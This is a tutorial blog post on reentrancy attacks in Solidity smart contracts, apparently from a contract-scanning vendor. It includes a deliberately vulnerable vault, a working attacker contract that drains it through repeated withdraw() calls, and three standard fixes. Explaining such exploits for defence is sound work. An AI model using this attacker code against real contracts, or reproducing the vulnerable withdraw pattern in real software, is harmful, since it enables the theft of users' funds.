← Back to Blog

Anatomy of a DeFi Hack: Reentrancy Deep Dive

2024-12-03 reentrancy security exploit defi

Reentrancy is the exploit that launched a thousand audits. The DAO hack of 2016 resulted in a $60M loss and a hard fork of Ethereum itself. Yet the pattern still appears in production contracts today.

Let's walk through exactly how a reentrancy attack unfolds.

The Setup: A Vulnerable Vault

contract VulnerableVault {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "Nothing to withdraw");

        // Step 1: send ETH — triggers attacker's receive()
        (bool ok,) = msg.sender.call{value: amount}("");
        require(ok, "Transfer failed");

        // Step 2: update state — too late!
        balances[msg.sender] = 0;
    }
}

The Attacker Contract

contract Attacker {
    VulnerableVault public vault;
    uint256 public count;

    constructor(address _vault) {
        vault = VulnerableVault(_vault);
    }

    function attack() external payable {
        vault.deposit{value: msg.value}();
        vault.withdraw(); // triggers the loop
    }

    receive() external payable {
        if (count < 10 && address(vault).balance >= 1 ether) {
            count++;
            vault.withdraw(); // re-enter before state is updated
        }
    }
}

Attack Flow

  1. Attacker deposits 1 ETH.
  2. Attacker calls withdraw().
  3. Vault sends 1 ETH to attacker — balance is still 1 ETH at this point.
  4. Attacker's receive() fires and calls withdraw() again.
  5. Vault checks balances[attacker] — still 1 ETH — sends another 1 ETH.
  6. Repeat 10 times: attacker walks away with 10 ETH, vault loses 9.

Fixes

Option A: Checks-Effects-Interactions Pattern

Zero the balance before the external call:

function withdraw() external {
    uint256 amount = balances[msg.sender];
    require(amount > 0);
    balances[msg.sender] = 0; // ← effect first
    (bool ok,) = msg.sender.call{value: amount}(""); // ← interaction last
    require(ok);
}

Option B: ReentrancyGuard

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SafeVault is ReentrancyGuard {
    function withdraw() external nonReentrant {
        // ...
    }
}

Option C: Pull-over-Push

Instead of sending ETH directly, let users claim it:

mapping(address => uint256) public pending;

function claimFunds() external {
    uint256 amount = pending[msg.sender];
    pending[msg.sender] = 0;
    payable(msg.sender).transfer(amount);
}

Cross-Function Reentrancy

Don't forget that reentrancy can occur across multiple functions sharing state:

function transfer(address to, uint256 amount) external {
    balances[msg.sender] -= amount;
    // ← External call in another function can re-enter here
    balances[to] += amount;
}

Always audit functions that modify shared state alongside functions that make external calls.


ContractScan's static analysis engine flags all of these patterns. Upload your contract{: target="_blank"} and check for reentrancy in seconds.